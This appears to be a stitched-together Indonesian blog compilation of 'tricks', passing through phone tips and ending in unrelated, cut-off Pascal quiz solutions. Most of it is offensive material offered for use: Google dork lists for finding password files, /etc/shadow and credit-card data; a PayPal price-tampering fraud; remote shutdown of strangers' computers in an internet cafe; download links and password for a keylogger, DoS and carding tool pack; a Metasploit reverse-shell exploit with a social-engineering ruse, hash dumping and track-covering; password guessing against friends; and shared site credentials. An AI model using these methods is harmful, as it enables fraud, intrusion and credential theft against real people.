cara menyembunyika folder tanpa aplikasi di ponsel nokia

awalnya gua kaget pas liat hp tetangga kue blank kagak ada apa2 d dlm glerinya.stlah t q tanya cranya langsung d ksh tw crnya sbg

1.buat folder
2.ketik nama folder di akhri .ota atau .nth
bingung ? Cntoh nama foldrnya robet nulisnya kya gni 'robet.ota' gmpangkan?
Cra n buat hp nkia 6300,2700 dsbngsanya

MENCARI PASSWORD LEWAT GOOGLE


Nah! tiba waktunya kita memanfaatkan "Paman Google" ini untuk search (nyari apa saja di internet) dengan waktu dan teknik yang bisa disebut "tepat". Lagi-lagi ini juga hasil dari berbagai hunting saya di berbagai web dan blog teman2 semua. Oleh karena itu ga salah juga saya pun turut andil ingin bagi-bagi informasi.

Pertama, Anda bisa mencari dari :
1. Iklan Google yang ada di semua situs, hasilnya akan sama saja.
2. Tombol Google search yang ada di toolbar.
3. Google main search Engine : http://www.google.com

Selanjutnya agar pencarian bisa paling mendekati keinginan Anda, ikuti tips berikut :

Dibawah ini akan dijelaskan tentang perintah khusus pada Google, dan akan dijelaskan pengertian dan penggunaan dari tiap – tiap perintah untuk mendapatkan informasi tersembunyi dan sangat penting.

"Intitle:" ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan judul yang mengandung informasi pada topik yangdimaksud. Sebagai contoh pada pencarian, “intitle:password admin “ ( tanpa tanda kutip ). Pencarian akan mencari page yang mengandung kata “ password “ sebagai judulnya dengan prioritas utama “admin” .Jika pada pencarian terdapat dua query pencarian utama, digunakan sintaks allintitle: untuk pencarian secara lengkap. Sebagai contoh pada pencarian “allintitle:admin mdb”. Maka pencarian akan dibatasi pada dua subjek utama judul yaitu “admin” dan “mdb”.

“inurl:” ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan semua URL yang hanya berisi kata kunci informasi yang dimaksudkan. Sebagai contoh pencarian dalam pencarian,”inurl : database mdb”. Pencarian akan menghasilkan semua URL yang hanya mengandung informasi tentang “database mdb “.



Hal yang sama juga berlaku pada sintaks ini, jika terdapat dua query pencarian utama, digunakan sintaks “allinurl:” untuk mendapatkan list url tersebut. Sebagai contoh pencarian “allinurl: etc/passwd“ , pencarian akan menghasilkan URL yang mengandung informasi tentang “etc” dan “passwd”. Tanda garis miring slash (“/”) diantara dua kata etc dan passwd akan diabaikan oleh mesin pencari Google.



>“site:” ialah sintaks perintah untuk membatasi pencarian suatu query informasi berdasarkan pada suatu situs atau domain tertentu. Sebagai contoh pada pencarian informasi: “waveguide site:itb.ac.id” (tanpa tanda kutip). Pencarian akan mencari topic tentang waveguide pada semua halaman yang tersedia pada domain itb.ac.id.


“cache:” akan menunjukkan daftar web yang telah masuk kedalam indeks database Google.

Sebagai contoh:

“cache:deffcon.org”, pencarian akan memperlihatkan list yang disimpan pada Google untuk page deffcon.org


“filetype:” ialah sintaks perintah pada Google untuk pencarian data pada internet dengan ekstensi tertentu (i.e. doc, pdf or ppt etc). Sebagai contoh pada pencarian :



“filetype:doc site:go.id confidental” ( tanpa tanda kutip). Pencarian akan menghasilkan file data dengan ekstensi “.doc” pada semua domain go.id yang berisi informasi “confidential”.



“link:” ialah sintaks perintah pada Google yang akan menunjukkan daftar list webpages yang memiliki link pada webpage special. Sebagai contoh:“link:www.securityfocus.com” akan menunjuukan daftar webpage yang memiliki point link pada page SecurityFocus.



“related:” sintaks ini akan memberikan daftar web pages yang serupa dengan web page yang di indikasikan. Sebagai contoh: “related:www.securityfocus.com”, pencarian akan memberi daftar web page yang serupa dengan homepage Securityfocus.



“intext:” sintaks perintah ini akan mencari kata kata pada website tertentu. Perintah ini mengabaikan link atau URL dan judul halaman. Sebagai contoh :“intext:admin” (tanpa tanda petik), pencarian akan menghasilkan link pada web page yang memiliki keyword yang memiliki keyword admin.



Pada kesempatan ini dipaparkan bagaimana penggunaan sintaks “index of” untuk mendapatkan hubungan pada webserver dengan direktori indeks browsing yang dapat diakses.. Hal tersebut merupakan sumber informasi yang sederhana dapat diperoleh, akan tetapi isi dari informasi seringkali merupakan informasi yang sangat penting. Informasi tersebut dapat saja berupa password akses atau data transaksi online dan hal yang sangat penting lainnya. Dibawah ini merupakan beberapa contoh penggunaan sintaks “ indeks of” untuk mendapatkan informasi yang penting dan sensitive sifatnya.


ex :

Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
"Index of /admin.asp"
"Index of /login.asp"

Sintaks “inurl:” atau “allinurl:” dapat dikombinasikan dengan sintaks yang lainnya seperti pada daftar dibawah ini :

inurl: /cgi-bin/cart32.exe
inurl:admin filetype:txt
inurl:admin filetype:db
inurl:admin filetype:cfg
inurl:mysql filetype:cfg
inurl:passwd filetype:txt
inurl:iisadmin
inurl:auth_user_file.txt
inurl:orders.txt
inurl:"wwwroot/*."
inurl:adpassword.txt
inurl:webeditor.php
inurl:file_upload.php
inurl:gov filetype:xls "restricted"
index of ftp +.mdb allinurl:/cgi-bin/ +mailto allinurl:/scripts/cart32.exe
llinurl:/CuteNews/show_archives.php
allinurl:/phpinfo.php
allinurl:/privmsg.php
allinurl:/privmsg.php
inurl:cgi-bin/go.cgi?go=*
allinurl:.cgi?page=*.txt
allinurul:/modules/My_eGallery

Penggunaan lain dari sintaks “intitle:” atau “allintitle:” yang dikombinasikan dengan sintaks lainnya antara lain :

intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
ntitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
allintitle:*.php?filename=*
allintitle:*.php?page=*
allintitle:*.php?logon=*

Dibawah ini ada beberapa contoh kasus:
(silahkan mencoba...segala resiko berkenaan dengan security website yang dituju...merupakan tanggung jawab masing-masing)

Operator dasar

+, -, ~ , ., *, “”, |, OR

Operator tambahan

allintext:, allintitle:, allinurl:, bphonebook:, cache:, define:, filetype:, info:, intext:, intitle:, inurl:, link:, phonebook:, related:, rphonebook:, site:, numrange:, daterange

Extensi yang dapat dicari:
HyperText Markup Language (html)
Microsoft PowerPoint (ppt)
Adobe Portable Document Format (pdf)
Microsoft Word (doc)
Adobe PostScript (ps)
Microsoft Works (wks, wps, wdb)
Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)
Microsoft Excel (xls)
Microsoft Write (wri)
Lotus WordPro (lwp)
Rich Text Format (rtf)
MacWrite (mw)
Shockwave Flash (swf)
Text (ans, txt)

Pencarian berdasarkan range
komputer Rp5000000..7000000

Pencarian gaji
Salary filetype: xls site: edu
Salary filetype: xls site: edu

Informasi financial
Filetype: xls “checking account” “credit card” -intext: Application -intext: Form
Intitle: “Index of” finances.xls

Mencari inbox e-mail
Intitle: Index.of inurl: Inbox (456) (mit mailbox)
Intitle: Index.of inurl: Inbox (inurl: User OR inurl: Mail) (220)

Mendeteksi OS
"Microsoft-IIS/5.0 server at”
Intitle: “Welcome to Windows 2000 Internet Services” IIS 5.0
Intitle: Test.Page.for.Apache seeing.this.instead
Intitle: Test.page “SSL/TLS-aware”

Mencari password
Inurl: etc inurl: passwd
Intitle: “Index of..etc” passwd
"# -FrontPage-" inurl: service.pwd
Inurl: admin.pwd filetype: pwd
Filetype: inc dbconn
Filetype: inc intext: mysql_connect
Filetype: ini +ws_ftp +pwd
Filetype: log inurl: “password.log”

Mencari User Name
+intext: "webalizer" +intext: “Total Usernames” +intext: “Usage Statistics for”

Mencari License Key
Filetype: lic lic intext: key

Sensitve Directories Listing
Intitle: “Index of” cfide
Intitle: index.of.winnt
Intitle: “index of” iissamples

seperti yang dikatakan blog ini http://jakabanda.blogspot.com

Ini sebenarnya trik lama yang dulu pernah saya coba dan dapet buku 10 biji, cuma saya nggak bisa sebutin situsnya (sorry bro… ntar kalo ketahuan bisa mampus dipenjara…).
Kalo pengen coba ikutin langkah sederhana yang pernah saya coba:
Yang harus Anda punya:
Browser Mozilla Firefox
Account PayPal


Ini langkahnya:

1. Lalu cari situs yang jualan barang di internet yang pembayarannya menggunakan PayPal, lalu klik “Buy”
2. Trus klik "Checkout with PayPal"
3. Dan saat keluar teks "You are being automatically forwarded to PayPal's site" lalu cari di browser Mozilla Anda pada menu “View” trus "Page Source" atau tekan “ctrl+U”
4. Simpan source teks tersebut dengan klik "File" lalu "Save page as..."
5. Putuskan koneksi ke internet dan buka kembali file source yang telah Anda “save” tadi, lalu ganti – harga ="49.95 (atau harga barang)" -- dengan – harga ="00.01" –
6. Trus “save”
7. Lalu klik kanan file source tadi dengan "Open with" -- "FireFox"
8. Selanjutnya terserah Anda …

Selamat Mencoba …

ShutDown Komputer Orang di LAN (Warnet)


trik mematikan komputer orang lain di warnethaloo temen2 ..
maaf nii baru update hahaha gara2 bingung nyari koneksi murah wkwkw :p

kali ini pedasmaniscinta mau bagi tips luamaa banget hahaha
otak - atik bengkel komputer di warnet :D
nahh tips ini mungkin banyak dicari buat yang suka usil ngerjain temen hahaah. lewat jaringan LAN (Local Area Network) temen2 bisa shutdown paksa komputer target temen2 yang pengen kita kerjain.

okeee deh langsung aja yaaa
cappp cusssssssss cinn :))

Caranya:
1. Pada komputer, klik Start -> Run, di kotak isian tersebut temen2 isikan "cmd" (tanpa tanda petik )

2. Setelah itu muncul kotak berwarna hitam, di situ temen2 ketikan SHUTDOWN.EXE (spasi) -i (spasi) -m
Contoh: Shutdown.exe -i -m lalu kamu tekan Enter



4. Maka akan muncul kotak di samping yang bernama "Remote Shutdown Dialog"




5. Temen2 klik "ADD" -> untuk menambahkan IP target or nama target di LAN, atau temen klik "Browse" untuk mencari otomatis

6. Temen2 bisa tentuin yang enaknya buat ngusilin komputer orang itu, apakah di shutdown, restart, or Log off.

7. Tentukan time yang pas buat deat time-nya komputer itu beraksi ;)

8. Temen2 bisa tambakan other (planned), ini dimaksudkan agar si user lawan mengira kalo ini ulah server yang lagi maintenance

9. Kirim kan pesan terakhirmu ke komputer orang di COMMENT Contoh :
Contoh:
Hai boleh kenalan ngga? wkwkwwk :p

10. Tertawalah yang puas melihat orang lain kebingungan..hahahahahahahahaha

Cara mudah Login di Forum tanpa Registrasi


Pernah gaa saat googling buat cari informasi penting ehh tiba2 ketemu di forum yang belum kita tahu dan ternyata harus daftar dulu atau login biar bisa lihat informasinya?

pasti terasa sangat malas kalau daftar lagi,
betull gaaa ??

tenang aja barusan tadi saya juga merasakan itu kog, sebelum posting artikel ini tadi saya iseng2 cari ebook bertema sulap di indowebster ehhh malah ada tulisan di salah satu keterangannya 'pass di forum'.

wahh nanti kalau saya download percuma dong nanti saya ga bisa buka filenya.
terus menurut feeling saya wahh pasti ini pass ada di forum Indowebster (IDWS) kalau akun idws saya punya tapi kalau forumnya saya nggaa punyaa. hehehe

jadi berfikir balik nii,
mauu download apa gaa yaa?
tiba2 saya ingat salah satu trik yang saya dapat dari forum biasanya ini niii http://xcode.or.id/forum2
forum kebanggaan indonesia kaskus.us juga lohhh hehehhe

okee deh dari pada cerita terus
begini caranya untuk dapat akun login.

silahkan akang2 mba2 masuk disini http://bugmenot.com

caranya:
silahkan masukan nama link forum di kotak input link disana
lihat gambar


gantikan www.example.com dengan link forum yang ingin dituju.
jika sudah tekan get logins.
lihat apa hasilnyaa ???


selamat mencobaa...
by: http://pedasmaniscinta.blogspot.com/


Photobucket


XxxPass-Team 2007 | Danger Cracking & Hacking Tools - Ver 1.0

- Exploit Collection (4 Tools)
- Google Hacking (4 Tools)
- Keyloggers (5 Tools)
- Binder & Packer (15 Tools)
- Flood_DOS (20 Tools)
- Messenger (11 Tools)
- Bruter (9 Tools)
- Anonimity (1 Tool)
- !!! $$$ !!! (13 Tools)
- AIO

Exploit Collection

1. 10377 Exploit
2. SMF ShoutBox Xss & HTML Injection
3. SMF Ultimate Shoutbox Cookie Disclosure Exploit
4. Firefox_BuG

Messenger

  • 1. MSN Extreme 3.0
  • 2. MSN Spy Lite v1.0
  • 3. Yahoo Hack!
  • 4. Hotmail Email Hacker
  • 5. Hotmail Hacker Gold
  • 6. HotmailHack
  • 7. YahooUltraCracker
  • 8. winks,moods,mugins,weemees and meegos + Installer
  • 9. MSN Messenger Account Cracker v2.0
  • 10. SH Yahoo Pass Sender 1.1
  • 11. Yahoo Password Decoder

Google Hacking

1. Alt GooGle
2. Google Version 1.2
3. Google H4ck3r (3 programs)
4. GooLink

Keyloggers

  • 1. Elgolf 1.0 Beta
  • 2. ESK KeyLogger
  • 3. Glog Keylogger
  • 4. HermanAgent
  • 5. IKlogger0.1

Bbruter

1. WebCrack v4.0
2. Brutus
3. Crack FTP
4. FTP Brute Hacker
5. phpbb bruteforcer
6. PhpBB Pass Extractor
7. phpBB Cracker
8. Email Cracker
9. FTP Brute Forcer

!!! $$$ !!!

  • 1. Cmaster
  • 2. CC Verify
  • 3. CWizard
  • 4. THCC
  • 5. Visa Card Generator 06
  • 6. Carcabot_Mass_Email
  • 7. CcHack
  • 8. CC-Fake
  • 9. cvv2c
  • 10. DesertCVV2
  • 11. id-fake
  • 12. Paypal-Link-Spoofed
  • 13. HoW to get Credit Cards Fresh and Fastest

AIO

1. Uploader for All
2. Cool Small Usefull Dp

Flood DOS
  • 1. Flowbabeflow
  • 2. FreeSiteKiller V 2.01
  • 3. Webxgrab
  • 4. Web Attacker ENG
  • 5. TheRapist-Dos Attacker
  • 6. HybridFlood2
  • 7. Ati-russ 3.0
  • 8. Http Bomber v1.001b
  • 9. Sprut
  • 10. DoS_5
  • 11. etherflood
  • 12. DoSAttacker
  • 13. phpBB Dos
  • 14. phpBB Attacker
  • 15. Ping Attack
  • 16. Site Nuke
  • 17. Divine Intervention
  • 18. UC Forum Spammer
  • 19. Inferno Nuker
  • 20. Multiple Site Flood

Mau ?? 176 MB.
silahkan download di link bawah ini.
==> via Indowebster.

"Free Download Tool Hacking dan Cracking *klik disini"

password ==> XxxPass_DJ_haselking


==> via Rapidshare

1. http://rapidshare.com/files/85433778/XxxPass-C_H_Ver1.0-_2007-part1_up_by_juur.xup.pl.part1.rar

2. http://rapidshare.com/files/85426770/XxxPass-C_H_Ver1.0-_2007-part1_up_by_juur.xup.pl.part2.rar

Pass : XxxPass_DJ_haselking
Pass : -XxxPass_DJ_haselking

thank's to,
. http://ilmuwebsite.com

Baca juga yang ini :

Hacking Windows XP SP2 di LAN

Cari Artikel Blog ini


Setelah mengetahui sedikit dan konsep dasar ?standar? mengenai hack yang dibahas dibagian pertama dan mengetahui sedikit materi mengenai exploit pada bagian kedua, sekarang langsung aja kita praktek. Disini saya sengaja menggunakan VMWare ( http://chaidir.wordpress.com/2006/11/14 ... vmware.com )untuk melakukan simulasi, karena tidak semua orang dapat mempraktekannya dalam suatu jaringan. Dengan menggunakan VMWare, kita dapat mensimulasikan jaringan sederhana yang seolah-olah ada suatu jaringan yang terdiri dari komputer kita sendiri dan komputer lainnya. Bagi yang belum bisa menggunakan VMWare, coba cari diinternet! Sistem Operasi yang saya gunakan adalah Windows XP SP2.

Tools yang saya gunakan adalah Metasploit Framework ( http://chaidir.wordpress.com/2006/11/14 ... vmware.com ) untuk melakukan exploit serta PwDump6 ( http://www.foofus.net/fizzgig/pwdump/ ) untuk mengambil hash file dari komputer target. Apa itu Metasploit Framework ?

The Metasploit Framework is a complete environment for writing, testing, and using exploit code. This environment provides a solid platform for penetrationtesting, shellcode development, and vulnerability research.

Untuk penggunaan lebih lanjut mengenai Metasploit, anda dapat membaca dokomentasi yang juga diikutsertakan dalam instalasi. Untuk melakukan instalasi metasploit versi 2.7, dibutuhkan user administrator. Sebelumnya saya mencoba menginstall dengan ?limited user? tapi setelah diinstall tidak bisa dijalankan. Sebenarnya instalasi metasploit ini hanya mengekstrak file saja. Jadi anda dapat menginstallnya tanpa harus mendapatkan user admin serta meletakkannya dimanapun tanpa harus menginstal di Folder Program Files. Namun setelah sedikit dioprek, ternyata tidak harus admin yang bisa menjalankan. Agak ribet dan males juga sih nulis disini, soalnya ketika mencoba versi terbaru, yaitu versi 3 Beta 3 ( http://metasploit.com/projects/Framework/msf3/ ), kita dapat menjalankannya tanpa harus menginstall dengan user admin. Gitu aja ko repot! Lagipula versi 3 (skarang msh beta) lebih keren dan fiturnya lebih banyak. Tapi sayangnya untuk msfweb (versi webnya) belum bisa dijalankan sepenuhnya.

Ok.. sekarang saya asumsikan anda telah membaca userguide metasploit (ah.. paling asumsi saya salah ;p). Biar lebih keliatan keren dan memahami detailnya, saya menjelaskan metasplooit yang menggunakan console (mfsconsole) saja. Metasploit menggunakan cygwin ( http://www.cygwin.com/ ) untuk menjalankannya, karena metasploit dibuat menggunakan Perl. Sekarang mari kita praktekkan!!

Pertama2 jalankan ?mfsconsole?!

Image

Untuk mempelajari command apa saja yang ada di MSFConsole gunakan perintah ?help?.

Karena komputer yang ingin dijadikan target adalah Windows XP SP2, maka digunakan exploit yang berpengaruh terhadap XP SP2 yaitu dengan memanfaatkan kelemahan pada Internet Explorer VML Fill Method Code Execution ( http://www.microsoft.com/technet/securi ... 6-055.mspx ).

This module exploits a code execution vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML processing code (VGX.dll). This module has been tested on Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.

Untuk melihat info dari exploit ini gunakan perintah :

msf > info ie_vml_rectfill

Exploit ie_vml_rectfill memanfaatkan kelemahan pada Internet Explorer. Oleh karena itu, exploit ini akan berpengaruh jika komputer target menjalankan IE dan mengarahkan url-nya ke komputer penyerang. Untuk itu, kita harus menggunakan sedikit ?social engineering?, seperti jika di kost/lab/kantor kita bilang ke teman kita bahwa kita sedang mencoba membuat aplikasi web terbaru, lalu minta tolong dilihat menggunakan IE ke alamat IP (atau nama komputer) kita. Misalkan http://192.168.186.1. Biasanya setelah exploit ini dijalankan dan komputer target telah terhubung, maka IE akan crash. Biarkan beberapa saat untuk membiarkan exploit ?bekerja?. Setelah beberapa saat bilang aja ?wah.. ada error nih. Ok deh.. saya coba betulin dulu? makasih ya?. Baru tutup IE-nya pake Task Manager (walaupun pake TM, IE msh sulit di-kill, jangan lupa untuk me-?end process?-kan ?dumpred.exe? juga, tapi setelah exploit bekerja ).

Untuk menggunakan exploit gunakan perintah2 berikut dalam console :

msf > use_ie_vml_rectfill

msf > set PAYLOAD win32_reverse

msf > set RHOST ip_target

msf > set LHOST ip_penyerang

msf > exploit

Hasilnya akan tampak seperti gambar berikut :

Image



Dalam contoh diatas, IP komputer target (RHOST) adalah 192.168.186.128, sedangkan komputer penyerang (LHOST) adalah 192.168.186.1. Lalu ?payload? yang digunakan adalah ?win32_reverse? dan HTTP PORT nya adalah 80 (default http port). Setalah menjalankan perintah ?exploit?, baru kita minta komputer target untuk menjalankan IE dan mengarahkan url-nya ke komputer kita. Proses ini akan memakan waktu agak lama, bahkan terkadang tidak berhasil. Jadi coba-coba aja terus

Jika anda berhasil, maka anda akan mendapatkan ?cmd.exe? dari komputer target.

Crack da Password!

Nah, setelah kita ?menguasai? komputer target, skalian aja kita lihat password-nya. Caranya mirip dengan artikel saya sebelumnya tentang Hack Win XP SP2 Password, tapi karena ini remote maka kita harus ?menyediakan? program yg dibutuhkan yaitu PwDump. Agar cara ini berhasil, saya asumsikan pada komputer target user yang sedang login mempunyai akses admin. Klo user yang digunakan komputer target yang dimanfaatkan IE-nya hanya user ?biasa?, pwdump tidak akan berhasil!

Pertama kita share dulu PwDump dari komputer kita dengan full access agar kita bisa mengupload hasil dump password komputer target, tapi dengan akhiran ?$? biar tidak terlihat dikomputer umum. Misalkan nama folder yang di share PwDump$. Lalu dari console yang berhasil dihack, ambil PwDump dengan Map Network Drive dari komputer kita dengan ?net use?. Contoh perintah yang digunakan :

Image

Setelah itu copy Pwdump ke komputer target dalam folder sementara, ?temp?. Setelah Pwdump berhasil di-copy ke komputer target, jalankan Pwdump dengan perintah

C:\temp\Pwdump ?o pass.txt 127.0.0.1

Klo berhasil akan tampak pada gambar berikut.

Image

Lalu copy file pass.txt ke komputer kita

C:\temp\copy pass.txt z:

Dan terakhir, jangan tinggalkan jejak bahwa kita sudah mampir kesitu.

Image

Nah, udah dapet hash file nya kan. Tinggal di crack aja deh?. (baca artikel sebelumnya buat nge-crack password). ( http://chaidir.wordpress.com/2006/09/24 ... -passwords )

Sebenarnya masih banyak yang dapat dioprek dari metasploit. Dalam metasploit terdapat banyak exploit, payload, meterpreter, dsb yang sangat ?menyenangkan? untuk dioprek. Untuk mempelajari metasploit, disitusnya terdapat dokumentasi yang lumayan baik.

Happy Hacking?..

Beberapa saran agar windows kita tetap aman terhadap exploit diatas.

1. Jangan gunakan Internet Explorer. Gunakan Mozilla Firefox atau Opera!.

2. Patch Windows anda.

3. Gunakan antivirus dengan update terbaru

4. Hati2 terhadap teman anda sendiri.. waspadalah!!

Layaknya seperti yang diajarkan the master Indonesia sebut saja Joe Sandy.
Joe Sandy pernah mengatakan “dengan ilmu pikiran kita pasti bisa”

Yang saya maksudkan disini adalah bukan trik sulap ala joe Sandy tetapi ini adalah cara untuk mengambil / mencuri data pribadi seperti email, friendster, facebook, ataupun userID dan password di jejaringan sosial manapun dengan ilmu pikiran kita.
Tetapi trik ini hanya bisa anda dapatkan dari teman dekat ataupun seseorang yang kita kenal.
Salah satu caranya adalah ikuti trik dibawah ini.

1.pastikan anda mengetahui alamat email atau userID sang korban. Tidak jauhlah untuk mengetahuinya contoh sang korban adalah teman dekat kita pasti kita tauhlah alamat emailnya atau userID-nya.

2.untuk mendapatkan password sang korban telitilah mulai dari :

>> nomor telepon (telepon genggam atau telepon rumah),
pastikan anda tahu nomor telepon sang korban. Dengan anda mengetahui no telepon sang korban pasti anda bisa menebak digit passwordnya. Karena setiap orang selalu menggunakan digit-digit angka yang mereka ingat jadi bisa juga nomor telepon digunakan sebagai password. Inilah yang saya populerkan untuk dicoba.

>> Tanggal Lahir
Dengan inipun juga bisa. Contoh sang korban lahir tanggal 10 bulan November tahun 1990. untuk menebak passwordnya sang korban gunakan kata kunci yang bisa, contoh: 10101990 (diurutkan lengkap dari tanggal lahir sang korban), 101090 (pengurangan sedikit dari tahun lahirnya).
Atau juga bisa tanggal jadian dengan sang kekasih korban. Hehehe .

>> Nama sang korban atau nama kekasihnya
Sepertinya ini jarang digunakan tetapi bisa saja kita mencobanya.
juga gunakan untuk mengambil passwordnya dengan nama panggilan uniknya.
Atau juga bisa tanggal jadian dengan sang kekasih korban. Hehehe .


Oke sedikit trik dari PedasManisCinta, dimohon untuk mengerti dan dimohon jangan tertawa berlebihan karena kelihatannya seperti konyol tetapi ini adalah salah satu cara yang sangat berkhasiat untuk mendapatkan userID dan password seseorang di dalam dunia Maya ini.

Semoga bermanfaat . .


Beberapa bulan yang lalu,
Semenjak Januari 2010 tampilan facebook sudah berubah total.

Bahkan biaya internetpun jadi kepotong lebih panjang.
tips kali ini sesuai dengan judul diatas.
Menggunakan HP untuk mengembalikan tampilan facebook versi lama yang lebih elegan dari pada yang baru.

Sebenarnya tampilan facebook kali ini lebih bagus dari pada yang lama,
tetapi bisa saja kata hati anda merasa tampilan facebook menjadi sangat ruwet. :))

Pertanyaan Sederhana ::
  1. Apakah anda merasa tampilan facebook saat ini semakin berat?
  2. Bandingkan dengan tampilan yang lama?
  3. Berapa KB yang didapat setiap melihat profil anda?
  4. Lebih lebar? Lebih panjang?

Sebelumnya,
saya yakin pasti anda menggunakan Opera Mini ??
menurut survey yang saya dapat hampir 80% browser di hp memakai opera mini. hehehehe
sok tau --a
jadi gunakan opera mini untuk trik berikut.


  1. Buka Opera Mini (Versi berapapun)
  2. ketika anda mengisikan alamat jangan di tulis www.facebook.com tapi rubahlah jadi m.facebook.com


Okelah jelas too??
mungkin anda menganggap remeh. hehehehe
jika anda belum mengerti pasti anda saat setelah login anda akan digiring ke alamat: http://touch.facebook.com
yang membuat tampilan jadi lebar + kb yang didapat lebih banyak.

jika terlanjur login di touch.facebook.com,
klik pilihan ==> Isikan alamat ==> terus ganti dehh jadi m.facebook.com/xxxxxx
jelas kan?

tips lain untuk mengurangi kb,
hilangkan tampilan gambar di facebook. hheheh

klo yang jago oprek-oprek masalah gini.
sudah tidak ditanya lagi bahkan bisa berinternet gratisss
nantikann segera!!


Selamat mencoba.

Free Account Premium FullReleasez.com `Hacked`


Fullreleasez free account hacked


FullReleasez.com is an advanced download crawler which indexes content spidered by external sites. When you click a download title you will be taken to the direct page containing the download. If your selected download is hosted on rapidshare, use your bonus account provided by us to bypass wait times and enjoy the full download speeds available.

information from fullreleasez.com :

Welcome to FullReleasez.com, your best solution to hassle-free working downloads. For only $4.87 one-time fee you can get a private lifetime membership to the latest, 0-day releases of full version games, software, movies, music, tv shows and much more. We currently supply over 100,000 gigabytes worth of downloads, and download speeds range from 450kb to 600kb on a DSL connection! Signing up is a breeze and is well worth it. Finally, Becoming a member takes less than 5 minutes!

Calm is free to you,
You simply login to your account below:

Username : Af872HskL
Password : XjsdH28N



1. Pertanyaan :

Jika M(x, y) adalah pernyataan “x lebih besar dari y”, dan terdapat deretan perintah dalam pseudo Pascal berikut:

while M(x, y) do begin   x := x - 10;   y := y + 2; end;

dengan harga mula-mula x = 70 dan y = 5, berapakah harga y setelah deretan keluar dari loop while?

A. 11
B. 15
C. 17
D. 21
E. 25

Jawab:

OK… akan kita bahasa pertanyaan di atas. Perhatikan bahwa loop while memiliki syarat “x lebih besar dari y”. Sehingga selama syarat tersebut terpenuhi (syarat bernilai TRUE) maka looping akan terus dijalankan. Dan proses looping akan berhenti apabila syarat sudah tidak terpenuhi (bernilai FALSE) Perhatikan jalannya proses berikut ini:

x = 70, y = 5 Cek (x > y) -> (70 > 5) -> TRUE     x = x - 10 = 70 - 10 = 60     y = y + 2 = 5 + 2 = 7 Cek (x > y) -> (60 > 7) -> TRUE     x = x - 10 = 60 - 10 = 50     y = y + 2 = 7 + 2 = 9 Cek (x > y) -> (50 > 9) -> TRUE     x = x - 10 = 50 - 10 = 40     y = y + 2 = 9 + 2 = 11 Cek (x > y) -> (40 > 11) -> TRUE     x = x - 10 = 40 - 10 = 30     y = y + 2 = 11 + 2 = 13 Cek (x > y) -> (30 > 13) -> TRUE     x = x - 10 = 30 - 10 = 20     y = y + 2 = 13 + 2 = 15 Cek (x > y) -> (20 > 15) -> TRUE     x = x - 10 = 20 - 10 = 10     y = y + 2 = 15 + 2 = 17 Cek (x > y) -> (10 > 17) -> FALSE     STOP

Setelah proses looping while selesai, nilai y terakhir adalah 17 (Jawaban yang benar C).


Pertanyaan :

Untuk menukar isi dua variabel integer (keduanya bernama a dan b) tanpa bantuan variabel lain adalah…

A. a := b – a; b := b – a; a := b + a;
B. b := b – a; a := b + a; a := b – a;
C. a := b + a; a := b – a; b := b – a;
D. a := b – a; b := b – a; a := b – a;
E. a := b + a; b := b + a; a := b + a;

Jawab :

Untuk menjawab pertanyaan di atas, kita akan cek terlebih dahulu semua alternatif jawaban. Kita coba untuk pemisalan awal nilai a = 5 dan b = 3. Kita akan mencari jawaban sedemikian hingga hasil akhir dari proses perhitungan menghasilkan a = 3 dan b = 5.

Option A.

a = b – a = 3 – 5 = -2
b = b – a = 3 – (-2) = 5
a = b + a = 5 + (-2) = 3
Jadi a = 3 dan b = 5 (BENAR)

Option B.

b = b – a = 3 – 5 = -2
a = b + a = -2 + 5 = 3
a = b – a = -2 – 3 = -5
Jadi a = -5 dan b = -2 (SALAH)

Option C.

a = b + a = 3 + 5 = 8
a = b – a = 3 – 8 = -5
b = b – a = 3 – (-5) = 8
Jadi a = -5 dan b = 8 (SALAH)

Demikian seterusnya kita cek untuk option D dan E. Untuk option D dan E juga diperoleh hasil yang salah, sehingga jawaban yang benar adalah A.

Diketahui algoritma pseudopascal berikut ini

const xmin = -10; xmax =  10; ymin = -10; ymax =  10; 
function code(x: integer; y : integer) : byte; var c : byte; begin    c := 0;    if (x < xmin) then c := c OR 8    else if (x > xmax) then c := c OR 1;     if (y < ymin) then c := c OR 4    else if (y > ymax) then c := c OR 2;     code := c; end;

Pertanyaan :

Perintah writeln(code(-12, -12) AND code(20, 5)) akan mencetak harga berapakah?

Jawab :

OK… sebelum kita jawab pertanyaan ini, perhatikan bahwa dalam function code() terdapat operator OR. Operand OR tidak harus berupa boolean TRUE atau FALSE namun juga bisa berupa integer. Operator OR untuk operand bilangan integer merupakan operasi OR secara bitwise (diproses bit demi bit, dengan 1 identik bernilai TRUE dan 0 bernilai FALSE) dari bilangan binernya.

Perhatikan contoh operasi OR berikut ini yang melibatkan bilangan integer.

Berapakah hasil 2 OR 1?

2 = 10 (biner) 1 = 01 (biner) ----------- OR     11 -> bilangan biner dari 3

Dengan demikian hasil dari 2 OR 1 adalah 3.

Berapakah hasil 3 OR 1?

3 = 11 (biner) 1 = 01 (biner) ----------- OR     11 -> bilangan biner dari 3

Berapakah 4 OR 5?

4 = 100 (biner) 5 = 101 (biner) ----------- OR     101 -> bilangan biner dari 5.

Nah akan kita akan selesaikan soal di atas menggunakan konsep tersebut. Terlebih dahulu operand code(-12, -12) pada operasi ‘code(-12, -12) AND code(20, 5)’ akan diselesaikan

code(-12, -12) -> x = -12, y = -12 --------- masuk function code() -------- c = 0 cek (-12 < -10) -> TRUE                 -> c = c OR 8 = 0 OR 8 = 8  cek (-12 < -10) -> TRUE                 -> c = c or 4 = 8 OR 4 = 12  code = c = 12 ----------------------------------------

Sehingga diperoleh hasil dari code(-12, -12) adalah 12. Selanjutnya akan diproses untuk code(20, 5).

